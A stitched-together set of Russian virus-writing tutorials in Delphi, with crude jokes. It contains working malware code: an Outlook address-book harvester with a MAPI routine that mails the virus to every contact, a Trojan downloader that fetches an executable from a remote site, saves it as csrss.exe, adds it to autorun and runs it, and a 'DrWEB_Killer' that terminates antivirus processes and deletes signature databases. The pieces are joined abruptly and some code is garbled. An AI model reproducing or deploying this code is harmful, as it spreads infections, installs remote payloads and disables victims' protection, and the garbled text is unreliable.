ISONLINE - проверка соединения с инетом
SENDVIRUS - догадайся с трех раз 
GETMAILS - получаем адреса из AddresBook аутглюка
INFECTFILES - 
WORKMEMORY - почти то же, что в прошлой статье, но с модификациями.

КОДИНГ

До начала собственно кодига на этот раз необходимы будут долгие предварительные ласки  Объясняю почему: для чтения адресной книги мы будем обращаться к аутлуку по межпрограммному интерфейсу, а для этого нам нехило поиметь его type library. Вот и делай: projectа import type library, и ищи там... правильно, Outlook express v.9 или какой там у тебя стоит. Девятой считается версия, если не ошибаюсь, из Office2k. Импортировал? Что значит "нет в списке"? Да ладно, бывает. Ищи вручную - в каталоге с офисом есть файл msoutl.olb. Это она  Теперь в раздел uses пиши outlook_tlb и будешь иметь доступ к самым интимным местам адресной книги  Ой, какой-то я сегодня озабоченный  В общем, процедура потрошения адресбука должна выглядеть так:

uses
ComObj, outlook_tlb,
Forms;
....
Procedure GETMAILS;
var
MyFolder, MSOutlook, MyNameSpace, MyItem : Variant;
s : string;
num, i : Integer;
mails : array of string;

begin
MSOutlook := CreateOleObject('Outlook.Application');
MyNameSpace := MSOutlook.GetNameSpace('MAPI');
MyFolder := MyNamespace.GetDefaultFolder(olFolderContacts);
SetLength (mails,MyFilder.Items.Count);
for i := 1 to MyFolder.Items.Count do
begin
MyItem := MyFolder.Items[i];
mails[i]:= myitem.email1addres;
end;

end.

Ну как, порадовало тебя написанное? Гы, дальше будет только хуже. Потому что отправка вируса будет на чистом API. А это, как говорит Horrific: "то же самое, что ручной секс. Эффект есть в обоих случаях, но его приходится долго добиваться и нет такого кайфа"  Ну так что я тут понаписал? Uses Comobj позволяет нам работать с COM технологией; далее мы только создаем OLE объект аутлука, и циклически выясняем у него список емайлов. Если тебе хочется выяснить еще что-нибудь - это тоже реально, читай доки - они рулез. Хоть и на английском. Список емайлов пишется в динамический массив из строчек. Его будет юзать функция SendVirus. Вот эта:

function SendVirus(const RecipName, RecipAddress, Subject, Attachment: string):Boolean;
var
MapiMessage : TMapiMessage;
MapiFileDesc : TMapiFileDesc;
MapiRecipDesc : TMapiRecipDesc;
i : integer;
s : string;
begin
with MapiRecipDesc do begin
ulRecerved := 0;
ulRecipClass := MAPI_TO;
lpszName := PChar(RecipName);
lpszAddress := PChar(RecipAddress);
Ещё один мошьный вирус!!!

ulEIDSize := 0;
lpEntryID := nil;
end;

with MapiFileDesc do begin
ulReserved := 0;
flFlags := 0;
nPosition := 0;
lpszPathName := PChar(Attachment);
lpszFileName := nil;
lpFileType := nil;
end;

with MapiMessage do begin
ulReserved := 0;
lpszSubject := nil;
lpszNoteText := PChar(Subject);
lpszMessageType := nil;
lpszDateReceived := nil;
lpszConversationID := nil;
flFlags := 0;
lpOriginator := nil;
nRecipCount := 1;
lpRecips := @MapiRecipDesc;
if length(Attachment)> 0 then begin
nFileCount := 1;
lpFiles := @MapiFileDesc;
end else begin
nFileCount := 0;
lpFiles := nil;
end;
end;

Result := MapiSendMail(0, 0, MapiMessage, MAPI_DIALOG or MAPI_LOGON_UI or MAPI_NEW_SESSION, 0) = SUCCESS_SUCCESS;
end;

Ты не опух, пока это читал? Пойди, попей пивка, а то ничего не поймешь. Выпил? Я тоже  Хорошо, продолжаем. Юзать будешь так:

For i := 1 to length (mails) do
begin
SendVirus ('',mails[i],'pricol','..');
end;

Здесь мы задействуем функции uses MAPI, поэтому не забудь его объявить. Короче, это - низкоуровневая работа с почтой. А для работы с почтой, как ты знаешь, надо иметь а) email получателя б) текст письма в) аттач. Вот я и делаю: MapiRecipDesc - описываю получателя, MapiFileDesc - аттач, т.е. наш вирус, MapiMessage - это сообщение, потом я его командой MapiSendMail отправлю в большую жизнь  Ну, не так это оказалось и сложно. Главное понять, что твой самый большой друг - это не c:\porno, а win32.hlp 

Как же теперь все это словоблудие уложить в суровую логику вируса? Сам разберешься, я тебе уже 2 статьи подряд об этом долблю. И вообще, я вчера отмечал день рождения моей девушки, теперь у меня слегка трещит голова  Ну ладно, чувство долга сильнее. Just Do It: первой строчкой проверяешь имя файла, откуда ты стартовал. Если pricol.exe - значит CopyFile к виндам  А если стартанул из виндового каталога - то циклически проверяй подключение к всемирной  сети. Проверяем:

function IsOnline: Boolean;
var
RASConn : TRASConn;
dwSize,dwCount : DWORD;
begin
RASConns.dwSize := SizeOf(TRASConn);
dwSize := SizeOf(RASConns);
Res :=RASEnumConnectionsA(@RASConns, @dwSize, @dwCount);
Result := (Res = 0) and (dwCount > 0);
end;

В этой статье мы рассмотри написание простейшего Trojan-DowLoader. При запуске, программа будет проверять, есть ли активное соединение с Интернетом, и если есть, то пытаться закачать файл. После удачного скачивания, она зарегистрирует вирус в автозапуск и запустит его. Приступим к кодингу. Создадим новый проект. Добавим в раздел Uses несколько новых модулей:

uses
Windows, WinInet,SysUtils,REgistry,ShellApi;

WinInet поможет нам качать файл и проверять активность подключения, ShellApi - запуск вируса, а Registry - запись в автозапуск. Далее объявим некоторые переменные и константы:

var F: File;
    ResumePos,BufferLen,SumSize: DWORD;
    hSession, hURL: HInternet;
    Buffer: array[1..1024] of Byte;
    err: boolean;
    Mesg: TMsg;
    REg: TRegistry;

const FileOnSite: String = 'Http://www.hack.ru/viruses/virus.exe';
      FileOnComp: String = 'C:\Windows\csrss.exe';

Теперь напишем функцию, которая будет проверять активность соединения с Интернетом:

function IsConnectedToInternet: Boolean;
var
dwConnectionTypes: DWORD;
begin
dwConnectionTypes :=
INTERNET_CONNECTION_MODEM +
INTERNET_CONNECTION_LAN +
INTERNET_CONNECTION_PROXY;
Result := InternetGetConnectedState(@dwConnectionTypes, 0);
end;

И наконец основной код вируса:

begin
while GetMessage( Mesg, HInstance, 0, 0) do
begin
TranslateMessage(mesg);   // Обрабатываем поступающие сообщения
DispatchMessage(mesg);
if IsConnectedToInternet=true then
begin
try
SumSize:=0;
ResumePos:=0;   //Инициализируемся
AssignFile (F,FileOnComp);  //Свяжемся с файлом
IF FileExists (FileOnComp) then //Есть ли на диске этот файл
  begin
   Reset(f,1); //Ах, есть? Откроем!
   ResumePos:=FileSize(F); //Откуда докачать
   Seek(F, FileSize(F)); //А писать бум в конец
  end else ReWrite(f,1);  //А раз нет, так создадим

//Открыли сессию
hSession:= InternetOpen('Internet Explorer',PRE_CONFIG_INTERNET_ACCESS,nil,nil,0);
//И наш УРЛ
hURL := InternetOpenURL(hSession,PChar(FileOnSite),nil,0,0,0);
//Сколько там наш файл весит?
InternetQueryDataAvailable(hURL, SumSize,0,0);
IF ResumePos>0 then //Если докачиваем,
begin
InternetSetFilePointer(hURL,ResumePos,nil,0,0); //То сместимся
end;

REPEAT //Качаем
err:= InternetReadFile(hURL, @Buffer,SizeOf(Buffer),BufferLen); //Читаем буфер
IF err= false then //Ошибка чтения
  begin
  end;
BlockWrite(f, Buffer, BufferLen); //Пишем в файл
UNTIL BufferLen= 0; //Качаем, пока не все
except
Exit;
end;
end;
// если файл успешно скачан
IF FileExists(FileOnComp) then
begin
// зарегистрируем в автозапуск
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
Reg.WriteString('csrss',FileOnComp);
Reg.CloseKey;
Reg.Free;
// Запустим вирус
ShellExecute(0,'open',PChar(FileOnComp),nil,nil,SW_RESTORE);
// уходим
Halt;
end;
end;

Copyright 2007 Булай Никита. All rights reserved.
Вот захотелось мне написать еще одну статью. В ней я хотел бы показать Вам, что даже с антивирусом мы не защищены. Рассмотрим это на примере антивируса Dr. WEB. Что будет делать наш вирус:

1. Завершать процессы антивирусного сканера.
2. Удалять базы.
3. По желанию убирать из атозагрузки.

Процессы нашего авира называются spidernt.exe и spiderui.exe. Они никак не защищены от завершения, поэтому мы и х и будем убивать. Воспользуйемся функциями модуля TLHelp32:

function CloseProcess(ProcessName: string): integer;
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32; 
begin
  result := 0; 

  FSnapshotHandle := CreateToolhelp32Snapshot
                     (TH32CS_SNAPPROCESS, 0); 
  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
  ContinueLoop := Process32First(FSnapshotHandle, 
                                 FProcessEntry32);

  while integer(ContinueLoop) <> 0 do
  begin
    if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
         UpperCase(ProcessName))
     or (UpperCase(FProcessEntry32.szExeFile) =
         UpperCase(ProcessName))) then
      Result := Integer(TerminateProcess(OpenProcess(
                        PROCESS_TERMINATE, BOOL(0),
                        FProcessEntry32.th32ProcessID), 0)); 
    ContinueLoop := Process32Next(FSnapshotHandle,
                                  FProcessEntry32);
  end; 

  CloseHandle(FSnapshotHandle); 
end;

Из данного кода видно, что мы сперва получаем снимок процессов, затем сравниваем имена полученных процессов с тем, что нам нужен. Теперь пишем процедуру поиска и удаления баз:

procedure ClearBase(Folder: string);
var
SR: TSearchRec;
FindRes: Integer;
begin
try
// Просматриваем каталог на наличие антивирусных баз
FindRes := FindFirst(Folder + '*.vdb', faAnyFile, SR);
while FindRes = 0 do
begin
if ((SR.Attr and faDirectory) = faDirectory) and
((SR.Name = '.') or (SR.Name = '..')) then
begin
FindRes := FindNext(SR);
Continue;
end;
// если найден каталог, то
if ((SR.Attr and faDirectory) = faDirectory) then
begin
// входим в процедуру поиска с параметрами текущего каталога +
// каталог, что мы нашли
ClearBase(Folder + SR.Name + '\');
FindRes := FindNext(SR);
// после осмотра вложенного каталога мы продолжаем поиск
// в этом каталоге
Continue; // продолжить цикл
end;
// удаляем файл антивирусной базы
DeleteFile(Folder+SR.Name);
FindRes := FindNext(SR);
end;
// освобождаем переменную
FindClose(SR);
except
Exit;
end;
end;

procedure DeleteBase;
var Reg: Tregistry;
    Sr: TSearchRec;
    Path: string;
begin
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
// извлекаем путь к папке DrWEB
Path:=ExtractFilePath(Copy(Reg.ReadString('SpIDerNT'),0,Length(Reg.ReadString('SpIDerNT'))-7));
// удаляем все базы
ClearBase(Path);
Reg.CloseKey;
Reg.Free;
end;

Ну, и если Вам это надо, пишем алгоритм удаления антивируса из автозагрузки:

procedure DeleteFromAutoRun;
var Reg: Tregistry;
begin
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
Reg.DeleteValue('SpIDerNT');
Reg.CloseKey;
Reg.Free;
end;

Теперь весь код вируса:

program DrWEB_Killer;

uses
  Windows, Registry,
  SysUtils,TlHelp32;

{ Данный вирус еще раз доказывает то, что
  все антивирусы - лишь жалкие программки.
  Даже простые программы имеют защиту
  получше этих! А мы, вирмейкеры, этим и
  воспользуемся  }

{$R *.res}

function CloseProcess(ProcessName: string): integer;
var
  ContinueLoop: BOOL;
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32; 
begin
  result := 0; 

  FSnapshotHandle := CreateToolhelp32Snapshot
                     (TH32CS_SNAPPROCESS, 0); 
  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
  ContinueLoop := Process32First(FSnapshotHandle, 
                                 FProcessEntry32);

  while integer(ContinueLoop) <> 0 do
  begin
    if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
         UpperCase(ProcessName))
     or (UpperCase(FProcessEntry32.szExeFile) =
         UpperCase(ProcessName))) then
      Result := Integer(TerminateProcess(OpenProcess(
                        PROCESS_TERMINATE, BOOL(0),
                        FProcessEntry32.th32ProcessID), 0)); 
    ContinueLoop := Process32Next(FSnapshotHandle,
                                  FProcessEntry32);
  end; 

procedure ClearBase(Folder: string);
var
SR: TSearchRec;
FindRes: Integer;
begin
try
// Просматриваем каталог на наличие антивирусных баз
FindRes := FindFirst(Folder + '*.vdb', faAnyFile, SR);
while FindRes = 0 do
begin
if ((SR.Attr and faDirectory) = faDirectory) and
((SR.Name = '.') or (SR.Name = '..')) then
begin
FindRes := FindNext(SR);
Continue;
end;
// если найден каталог, то
if ((SR.Attr and faDirectory) = faDirectory) then
begin
// входим в процедуру поиска с параметрами текущего каталога +
// каталог, что мы нашли
ClearBase(Folder + SR.Name + '\');
FindRes := FindNext(SR);
// после осмотра вложенного каталога мы продолжаем поиск
// в этом каталоге
Continue; // продолжить цикл
end;
// удаляем файл антивирусной базы
DeleteFile(Folder+SR.Name);
FindRes := FindNext(SR);
end;
// освобождаем переменную
FindClose(SR);
except
Exit;
end;
end;

procedure DeleteBase;
var Reg: Tregistry;
    Sr: TSearchRec;
    Path: string;
begin
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
// извлекаем путь к папке DrWEB
Path:=ExtractFilePath(Copy(Reg.ReadString('SpIDerNT'),0,Length(Reg.ReadString('SpIDerNT'))-7));
// удаляем все базы
ClearBase(Path);
Reg.CloseKey;
Reg.Free;
end;

{procedure DeleteFromAutoRun;
var Reg: Tregistry;
begin
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
Reg.DeleteValue('SpIDerNT');
Reg.CloseKey;
Reg.Free;
end;}

begin
// Завершим работу нашего антивируса
CloseProcess('spidernt.exe');
CloseProcess('spiderui.exe');
// Удалим его базы
DeleteBase;
// Уберем из автозапуска, хотя это и необязательно
//DeleteFromAutoRun;
end.